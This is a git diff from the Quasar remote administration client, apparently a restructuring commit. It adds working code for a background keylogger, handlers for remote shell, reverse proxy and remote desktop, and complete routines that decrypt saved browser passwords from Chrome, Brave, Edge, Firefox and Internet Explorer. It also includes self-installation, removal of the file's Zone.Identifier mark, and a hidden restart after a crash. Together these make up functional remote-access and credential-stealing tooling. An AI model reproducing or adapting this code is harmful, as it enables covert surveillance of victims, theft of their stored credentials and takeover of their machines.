HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + } + } +} diff --git a/Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs similarity index 84% rename from Client/Properties/AssemblyInfo.cs rename to Quasar.Client/Properties/AssemblyInfo.cs index 0803ed618..68d5e1d83 100644 --- a/Client/Properties/AssemblyInfo.cs +++ b/Quasar.Client/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // Allgemeine Informationen über eine Assembly werden über die folgenden // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, // die mit einer Assembly verknüpft sind. -[assembly: AssemblyTitle("")] +[assembly: AssemblyTitle("Quasar Client")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCopyright("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Client.Tests")] @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.2.0.0")] -[assembly: AssemblyFileVersion("1.2.0.0")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Client/Properties/Resources.Designer.cs b/Quasar.Client/Properties/Resources.Designer.cs similarity index 53% rename from Client/Properties/Resources.Designer.cs rename to Quasar.Client/Properties/Resources.Designer.cs index 71d9533c6..8a20f78ba 100644 --- a/Client/Properties/Resources.Designer.cs +++ b/Quasar.Client/Properties/Resources.Designer.cs @@ -1,25 +1,25 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xClient.Properties { +namespace Quasar.Client.Properties { using System; /// - /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw. + /// A strongly-typed resource class, for looking up localized strings, etc. /// - // Diese Klasse wurde von der StronglyTypedResourceBuilder automatisch generiert - // -Klasse über ein Tool wie ResGen oder Visual Studio automatisch generiert. - // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen - // mit der /str-Option erneut aus, oder Sie erstellen Ihr VS-Projekt neu. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -33,13 +33,13 @@ internal Resources() { } /// - /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. + /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("xClient.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; @@ -47,8 +47,8 @@ internal Resources() { } /// - /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle - /// Ressourcenzuordnungen, die diese stark typisierte Ressourcenklasse verwenden. + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { @@ -59,15 +59,5 @@ internal Resources() { resourceCulture = value; } } - - /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap information { - get { - object obj = ResourceManager.GetObject("information", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } } } diff --git a/Server/Forms/FrmRegValueEditBinary.resx b/Quasar.Client/Properties/Resources.resx similarity index 100% rename from Server/Forms/FrmRegValueEditBinary.resx rename to Quasar.Client/Properties/Resources.resx diff --git a/Server/Properties/Settings.Designer.cs b/Quasar.Client/Properties/Settings.Designer.cs similarity index 74% rename from Server/Properties/Settings.Designer.cs rename to Quasar.Client/Properties/Settings.Designer.cs index c1f33897b..b4ca5f2aa 100644 --- a/Server/Properties/Settings.Designer.cs +++ b/Quasar.Client/Properties/Settings.Designer.cs @@ -1,18 +1,18 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xServer.Properties { +namespace Quasar.Client.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); diff --git a/Client/Properties/Settings.settings b/Quasar.Client/Properties/Settings.settings similarity index 100% rename from Client/Properties/Settings.settings rename to Quasar.Client/Properties/Settings.settings diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj new file mode 100644 index 000000000..86915906f --- /dev/null +++ b/Quasar.Client/Quasar.Client.csproj @@ -0,0 +1,71 @@ + + + net452 + WinExe + Client + true + false + AnyCPU + + + ..\bin\Debug\ + true + portable + true + AnyCPU + + + none + ..\bin\Release\ + true + AnyCPU + + + Quasar.Client.Program + + + app.manifest + + + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + 2.0.18.2 + + + 5.6.0 + + + + 2.4.8 + + + \ No newline at end of file diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs new file mode 100644 index 000000000..b8507d1a8 --- /dev/null +++ b/Quasar.Client/QuasarApplication.cs @@ -0,0 +1,250 @@ +using Quasar.Client.Config; +using Quasar.Client.Logging; +using Quasar.Client.Messages; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.User; +using Quasar.Client.Utilities; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Reflection; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client +{ + /// + /// The client application which handles basic bootstrapping of the message processors and background tasks. + /// + public class QuasarApplication : Form + { + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// + public SingleInstanceMutex ApplicationMutex; + + /// + /// The client used for the connection to the server. + /// + private QuasarClient _connectClient; + + /// + /// List of to keep track of all used message processors. + /// + private readonly List _messageProcessors; + + /// + /// The background keylogger service used to capture and store keystrokes. + /// + private KeyloggerService _keyloggerService; + + /// + /// Keeps track of the user activity. + /// + private ActivityDetection _userActivityDetection; + + /// + /// Determines whether an installation is required depending on the current and target paths. + /// + private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + + /// + /// Notification icon used to show notifications in the taskbar. + /// + private readonly NotifyIcon _notifyIcon; + + /// + /// Initializes a new instance of the class. + /// + public QuasarApplication() + { + _messageProcessors = new List(); + _notifyIcon = new NotifyIcon(); + } + + /// + /// Starts the application. + /// + /// An System.EventArgs that contains the event data. + protected override void OnLoad(EventArgs e) + { + Visible = false; + ShowInTaskbar = false; + Run(); + base.OnLoad(e); + } + + /// + /// Initializes the notification icon. + /// + private void InitializeNotifyicon() + { + _notifyIcon.Text = "Quasar Client\nNo connection"; + _notifyIcon.Visible = true; + try + { + _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + _notifyIcon.Icon = SystemIcons.Application; + } + } + + /// + /// Begins running the application. + /// + public void Run() + { + // decrypt and verify the settings + if (!Settings.Initialize()) + Environment.Exit(1); + + ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + + // check if process with same mutex is already running on system + if (!ApplicationMutex.CreatedNew) + Environment.Exit(2); + + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + var installer = new ClientInstaller(); + + if (IsInstallationRequired) + { + // close mutex before installing the client + ApplicationMutex.Dispose(); + + try + { + installer.Install(); + Environment.Exit(3); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + else + { + try + { + // (re)apply settings and proceed with connect loop + installer.ApplySettings(); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + + if (!Settings.UNATTENDEDMODE) + InitializeNotifyicon(); + + if (Settings.ENABLELOGGER) + { + _keyloggerService = new KeyloggerService(); + _keyloggerService.Start(); + } + + var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); + _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + _connectClient.ClientState += ConnectClientOnClientState; + InitializeMessageProcessors(_connectClient); + + _userActivityDetection = new ActivityDetection(_connectClient); + _userActivityDetection.Start(); + + new Thread(() => + { + // Start connection loop on new thread and dispose application once client exits. + // This is required to keep the UI thread responsive and run the message loop. + _connectClient.ConnectLoop(); + Environment.Exit(0); + }).Start(); + } + } + + private void ConnectClientOnClientState(Networking.Client s, bool connected) + { + if (connected) + _notifyIcon.Text = "Quasar Client\nConnection established"; + else + _notifyIcon.Text = "Quasar Client\nNo connection"; + } + + /// + /// Adds all message processors to and registers them in the . + /// + /// The client which handles the connection. + /// Always initialize from UI thread. + private void InitializeMessageProcessors(QuasarClient client) + { + _messageProcessors.Add(new ClientServicesHandler(this, client)); + _messageProcessors.Add(new FileManagerHandler(client)); + _messageProcessors.Add(new KeyloggerHandler()); + _messageProcessors.Add(new MessageBoxHandler()); + _messageProcessors.Add(new PasswordRecoveryHandler()); + _messageProcessors.Add(new RegistryHandler()); + _messageProcessors.Add(new RemoteDesktopHandler()); + _messageProcessors.Add(new RemoteShellHandler(client)); + _messageProcessors.Add(new ReverseProxyHandler(client)); + _messageProcessors.Add(new ShutdownHandler()); + _messageProcessors.Add(new StartupManagerHandler()); + _messageProcessors.Add(new SystemInformationHandler()); + _messageProcessors.Add(new TaskManagerHandler(client)); + _messageProcessors.Add(new TcpConnectionsHandler()); + _messageProcessors.Add(new WebsiteVisitorHandler()); + + foreach (var msgProc in _messageProcessors) + { + MessageHandler.Register(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged += ShowNotification; + } + } + + /// + /// Disposes all message processors of and unregisters them from the . + /// + private void CleanupMessageProcessors() + { + foreach (var msgProc in _messageProcessors) + { + MessageHandler.Unregister(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged -= ShowNotification; + if (msgProc is IDisposable disposableMsgProc) + disposableMsgProc.Dispose(); + } + } + + private void ShowNotification(object sender, string value) + { + if (Settings.UNATTENDEDMODE) + return; + + _notifyIcon.ShowBalloonTip(4000, "Quasar Client", value, ToolTipIcon.Info); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + CleanupMessageProcessors(); + _keyloggerService?.Dispose(); + _userActivityDetection?.Dispose(); + ApplicationMutex?.Dispose(); + _connectClient?.Dispose(); + _notifyIcon.Visible = false; + _notifyIcon.Dispose(); + } + base.Dispose(disposing); + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/BravePassReader.cs b/Quasar.Client/Recovery/Browsers/BravePassReader.cs new file mode 100644 index 000000000..ceec03b3e --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/BravePassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class BravePassReader : ChromiumBase + { + /// + public override string ApplicationName => "Brave"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "BraveSoftware\\Brave-Browser\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/ChromePassReader.cs b/Quasar.Client/Recovery/Browsers/ChromePassReader.cs new file mode 100644 index 000000000..d12319b5f --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/ChromePassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class ChromePassReader : ChromiumBase + { + /// + public override string ApplicationName => "Chrome"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Google\\Chrome\\User Data\\Default\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Google\\Chrome\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/ChromiumBase.cs b/Quasar.Client/Recovery/Browsers/ChromiumBase.cs new file mode 100644 index 000000000..1f5948fce --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/ChromiumBase.cs @@ -0,0 +1,84 @@ +using Quasar.Client.Recovery.Utilities; +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + /// + /// Provides basic account recovery capabilities from chromium-based applications. + /// + public abstract class ChromiumBase : IAccountReader + { + /// + public abstract string ApplicationName { get; } + + /// + public abstract IEnumerable ReadAccounts(); + + /// + /// Reads the stored accounts of an chromium-based application. + /// + /// The file path of the logins database. + /// The file path to the local state. + /// A list of recovered accounts. + protected List ReadAccounts(string filePath, string localStatePath) + { + var result = new List(); + + if (File.Exists(filePath)) + { + SQLiteHandler sqlDatabase; + + if (!File.Exists(filePath)) + return result; + + var decryptor = new ChromiumDecryptor(localStatePath); + + try + { + sqlDatabase = new SQLiteHandler(filePath); + } + catch (Exception) + { + return result; + } + + if (!sqlDatabase.ReadTable("logins")) + return result; + + for (int i = 0; i < sqlDatabase.GetRowCount(); i++) + { + try + { + var host = sqlDatabase.GetValue(i, "origin_url"); + var user = sqlDatabase.GetValue(i, "username_value"); + var pass = decryptor.Decrypt(sqlDatabase.GetValue(i, "password_value")); + + if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user)) + { + result.Add(new RecoveredAccount + { + Url = host, + Username = user, + Password = pass, + Application = ApplicationName + }); + } + } + catch (Exception) + { + // ignore invalid entry + } + } + } + else + { + throw new FileNotFoundException("Can not find chromium logins file"); + } + + return result; + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs b/Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs new file mode 100644 index 000000000..da343e747 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs @@ -0,0 +1,88 @@ +using Org.BouncyCastle.Crypto; +using Org.BouncyCastle.Crypto.Engines; +using Org.BouncyCastle.Crypto.Modes; +using Org.BouncyCastle.Crypto.Parameters; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Client.Recovery.Browsers +{ + /// + /// Provides methods to decrypt Chromium credentials. + /// + public class ChromiumDecryptor + { + private readonly byte[] _key; + + public ChromiumDecryptor(string localStatePath) + { + try + { + if (File.Exists(localStatePath)) + { + string localState = File.ReadAllText(localStatePath); + + var subStr = localState.IndexOf("encrypted_key") + "encrypted_key".Length + 3; + + var encKeyStr = localState.Substring(subStr).Substring(0, localState.Substring(subStr).IndexOf('"')); + + _key = ProtectedData.Unprotect(Convert.FromBase64String(encKeyStr).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + + public string Decrypt(string cipherText) + { + var cipherTextBytes = Encoding.Default.GetBytes(cipherText); + if (cipherText.StartsWith("v10") && _key != null) + { + return Encoding.UTF8.GetString(DecryptAesGcm(cipherTextBytes, _key, 3)); + } + return Encoding.UTF8.GetString(ProtectedData.Unprotect(cipherTextBytes, null, DataProtectionScope.CurrentUser)); + } + + private byte[] DecryptAesGcm(byte[] message, byte[] key, int nonSecretPayloadLength) + { + // TODO: Replace with .NET-own AES-GCM implementation in .NET Core 3.0+ + const int KEY_BIT_SIZE = 256; + const int MAC_BIT_SIZE = 128; + const int NONCE_BIT_SIZE = 96; + + if (key == null || key.Length != KEY_BIT_SIZE / 8) + throw new ArgumentException($"Key needs to be {KEY_BIT_SIZE} bit!", nameof(key)); + if (message == null || message.Length == 0) + throw new ArgumentException("Message required!", nameof(message)); + + using (var cipherStream = new MemoryStream(message)) + using (var cipherReader = new BinaryReader(cipherStream)) + { + var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength); + var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8); + var cipher = new GcmBlockCipher(new AesEngine()); + var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce); + cipher.Init(false, parameters); + var cipherText = cipherReader.ReadBytes(message.Length); + var plainText = new byte[cipher.GetOutputSize(cipherText.Length)]; + try + { + var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0); + cipher.DoFinal(plainText, len); + } + catch (InvalidCipherTextException) + { + return null; + } + return plainText; + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/EdgePassReader.cs b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs new file mode 100644 index 000000000..3e66044c9 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class EdgePassReader : ChromiumBase + { + /// + public override string ApplicationName => "Microsoft Edge"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Microsoft\\Edge\\User Data\\Default\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Microsoft\\Edge\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/FFDecryptor.cs b/Quasar.Client/Recovery/Browsers/FFDecryptor.cs new file mode 100644 index 000000000..3bb70ac49 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/FFDecryptor.cs @@ -0,0 +1,116 @@ +using Quasar.Client.Utilities; +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Recovery.Browsers +{ + /// + /// Provides methods to decrypt Firefox credentials. + /// + public class FFDecryptor : IDisposable + { + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssInit(string configDirectory); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssShutdown(); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx); + + private NssInit NSS_Init; + + private NssShutdown NSS_Shutdown; + + private Pk11sdrDecrypt PK11SDR_Decrypt; + + private IntPtr NSS3; + private IntPtr Mozglue; + + public long Init(string configDirectory) + { + string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\"); + Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll")); + NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll")); + IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init"); + IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown"); + IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt"); + NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit)); + PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt)); + NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown)); + return NSS_Init(configDirectory); + } + + public string Decrypt(string cypherText) + { + IntPtr ffDataUnmanagedPointer = IntPtr.Zero; + StringBuilder sb = new StringBuilder(cypherText); + + try + { + byte[] ffData = Convert.FromBase64String(cypherText); + + ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length); + Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length); + + TSECItem tSecDec = new TSECItem(); + TSECItem item = new TSECItem(); + item.SECItemType = 0; + item.SECItemData = ffDataUnmanagedPointer; + item.SECItemLen = ffData.Length; + + if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) + { + if (tSecDec.SECItemLen != 0) + { + byte[] bvRet = new byte[tSecDec.SECItemLen]; + Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen); + return Encoding.ASCII.GetString(bvRet); + } + } + } + catch (Exception) + { + return null; + } + finally + { + if (ffDataUnmanagedPointer != IntPtr.Zero) + { + Marshal.FreeHGlobal(ffDataUnmanagedPointer); + } + } + + return null; + } + + [StructLayout(LayoutKind.Sequential)] + public struct TSECItem + { + public int SECItemType; + public IntPtr SECItemData; + public int SECItemLen; + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + NSS_Shutdown(); + NativeMethods.FreeLibrary(NSS3); + NativeMethods.FreeLibrary(Mozglue); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs b/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs new file mode 100644 index 000000000..6e53f7b1e --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs @@ -0,0 +1,198 @@ +using Quasar.Client.Helper; +using Quasar.Client.Recovery.Utilities; +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.Serialization; + +namespace Quasar.Client.Recovery.Browsers +{ + public class FirefoxPassReader : IAccountReader + { + /// + public string ApplicationName => "Firefox"; + + /// + public IEnumerable ReadAccounts() + { + string[] dirs = Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles")); + + var logins = new List(); + if (dirs.Length == 0) + return logins; + + foreach (string dir in dirs) + { + string signonsFile = string.Empty; + string loginsFile = string.Empty; + bool signonsFound = false; + bool loginsFound = false; + + string[] files = Directory.GetFiles(dir, "signons.sqlite"); + if (files.Length > 0) + { + signonsFile = files[0]; + signonsFound = true; + } + + files = Directory.GetFiles(dir, "logins.json"); + if (files.Length > 0) + { + loginsFile = files[0]; + loginsFound = true; + } + + if (loginsFound || signonsFound) + { + using (var decrypter = new FFDecryptor()) + { + var r = decrypter.Init(dir); + if (signonsFound) + { + SQLiteHandler sqlDatabase; + + if (!File.Exists(signonsFile)) + return logins; + + try + { + sqlDatabase = new SQLiteHandler(signonsFile); + } + catch (Exception) + { + return logins; + } + + + if (!sqlDatabase.ReadTable("moz_logins")) + return logins; + + for (int i = 0; i < sqlDatabase.GetRowCount(); i++) + { + try + { + var host = sqlDatabase.GetValue(i, "hostname"); + var user = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedUsername")); + var pass = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedPassword")); + + if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user)) + { + logins.Add(new RecoveredAccount + { + Url = host, + Username = user, + Password = pass, + Application = ApplicationName + }); + } + } + catch (Exception) + { + // ignore invalid entry + } + } + } + + if (loginsFound) + { + FFLogins ffLoginData; + using (var sr = File.OpenRead(loginsFile)) + { + ffLoginData = JsonHelper.Deserialize(sr); + } + + foreach (Login loginData in ffLoginData.Logins) + { + string username = decrypter.Decrypt(loginData.EncryptedUsername); + string password = decrypter.Decrypt(loginData.EncryptedPassword); + logins.Add(new RecoveredAccount + { + Username = username, + Password = password, + Url = loginData.Hostname.ToString(), + Application = ApplicationName + }); + } + } + } + } + + } + + return logins; + } + + [DataContract] + private class FFLogins + { + [DataMember(Name = "nextId")] + public long NextId { get; set; } + + [DataMember(Name = "logins")] + public Login[] Logins { get; set; } + + [IgnoreDataMember] + [DataMember(Name = "potentiallyVulnerablePasswords")] + public object[] PotentiallyVulnerablePasswords { get; set; } + + [IgnoreDataMember] + [DataMember(Name = "dismissedBreachAlertsByLoginGUID")] + public DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; } + + [DataMember(Name = "version")] + public long Version { get; set; } + } + + [DataContract] + private class DismissedBreachAlertsByLoginGuid + { + } + + [DataContract] + private class Login + { + [DataMember(Name = "id")] + public long Id { get; set; } + + [DataMember(Name = "hostname")] + public Uri Hostname { get; set; } + + [DataMember(Name = "httpRealm")] + public object HttpRealm { get; set; } + + [DataMember(Name = "formSubmitURL")] + public Uri FormSubmitUrl { get; set; } + + [DataMember(Name = "usernameField")] + public string UsernameField { get; set; } + + [DataMember(Name = "passwordField")] + public string PasswordField { get; set; } + + [DataMember(Name = "encryptedUsername")] + public string EncryptedUsername { get; set; } + + [DataMember(Name = "encryptedPassword")] + public string EncryptedPassword { get; set; } + + [DataMember(Name = "guid")] + public string Guid { get; set; } + + [DataMember(Name = "encType")] + public long EncType { get; set; } + + [DataMember(Name = "timeCreated")] + public long TimeCreated { get; set; } + + [DataMember(Name = "timeLastUsed")] + public long TimeLastUsed { get; set; } + + [DataMember(Name = "timePasswordChanged")] + public long TimePasswordChanged { get; set; } + + [DataMember(Name = "timesUsed")] + public long TimesUsed { get; set; } + } + } +} diff --git a/Client/Core/Recovery/Browsers/InternetExplorer.cs b/Quasar.Client/Recovery/Browsers/InternetExplorerPassReader.cs similarity index 98% rename from Client/Core/Recovery/Browsers/InternetExplorer.cs rename to Quasar.Client/Recovery/Browsers/InternetExplorerPassReader.cs index 07f2cec2b..7a3ad2eeb 100644 --- a/Client/Core/Recovery/Browsers/InternetExplorer.cs +++ b/Quasar.Client/Recovery/Browsers/InternetExplorerPassReader.cs @@ -1,4 +1,7 @@ -using System; +using Microsoft.Win32; +using Quasar.Client.Helper; +using Quasar.Common.Models; +using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; @@ -7,16 +10,16 @@ using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; -using Microsoft.Win32; -using xClient.Core.Data; -using xClient.Core.Helper; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Recovery.Browsers { - public static class InternetExplorer + public class InternetExplorerPassReader : IAccountReader { + + public string ApplicationName => "Internet Explorer"; + #region Public Members - public static List GetSavedPasswords() + public IEnumerable ReadAccounts() { List data = new List(); @@ -34,25 +37,29 @@ public static List GetSavedPasswords() { foreach (string[] loginInfo in dataList) { - data.Add(new RecoveredAccount() { Username = loginInfo[0], Password = loginInfo[1], URL = item.UrlString, Application = "InternetExplorer" }); + data.Add(new RecoveredAccount() + { + Username = loginInfo[0], + Password = loginInfo[1], + Url = item.UrlString, + Application = ApplicationName + }); } } } catch (Exception) { - // TODO: Add packet sending for error } } } } catch (Exception) { - // TODO: Add packet sending for error } return data; } - + public static List GetSavedCookies() { return new List(); @@ -327,7 +334,6 @@ private enum HashParameters public class ExplorerUrlHistory : IDisposable { - private readonly IUrlHistoryStg2 obj; private UrlHistoryClass urlHistory; private List _urlHistoryList; @@ -1155,5 +1161,5 